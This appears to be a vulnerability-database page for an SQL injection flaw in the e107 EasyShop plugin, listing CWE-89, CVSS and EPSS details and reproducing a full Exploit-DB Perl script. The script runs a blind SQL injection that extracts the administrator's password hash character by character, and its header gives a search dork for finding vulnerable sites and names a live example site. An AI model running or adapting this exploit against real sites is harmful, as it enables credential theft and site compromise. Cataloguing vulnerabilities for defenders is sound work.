Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-89 |
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
7.5 |
|
AV:N/AC:L/Au:N/C:P/I:P/A:P |
nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 6852
Publication date : 2008-10-26 23h00 +00:00
Author : StAkeR
EDB Verified : Yes
#!/usr/bin/perl
# ------------------------------------------------------------
# e107 (Plugin EasyShop) Remote Blind SQL Injection Exploit
# By StAkeR[at]hotmail[dot]it
# Dork allinurl: e107_plugins/easyshop/easyshop.php
# Example http://www.clan-designs.co.uk
# easyshop/easyshop.php?choose_category=1&category_id= or 1=1
# easyshop/easyshop.php?choose_category=1&category_id= and 1=2
# ------------------------------------------------------------
use strict;
use warnings;
use LWP::UserAgent;
use URI::Escape;
my ($request,$send,$ord,$hash,$uid) = (undef,undef,undef,undef,1);
my $host = shift @ARGV or die "[?] Usage: perl $0 http://[host]\n";
my @chars = (48..57, 97..102);
my $http = new LWP::UserAgent;
for(0..32)
{
foreach $ord(@chars)
{
$send = " or ascii(substring((select user_password from e107_user where user_id=1),$uid,1))=$ord/*";
$send = uri_escape($send);
$request = $http->get($host."/e107_plugins/easyshop/easyshop.php?choose_category=1&category_id=-1".$send);
if($request->is_success and $request->content !~ /No products available/i)
{
$hash .= chr($ord);
$uid++;
}
}
}
if(defined $hash)
{
print STDOUT "[+] MD5: $hash\n";
exit;
}
else
{
print STDOUT "[?] Exploit Failed!\n";
exit;
}
# milw0rm.com [2008-10-27]
Products Mentioned
Configuraton 0
E107>>E107 >> Version *
E107>>Easyshop_plugin >> Version *
References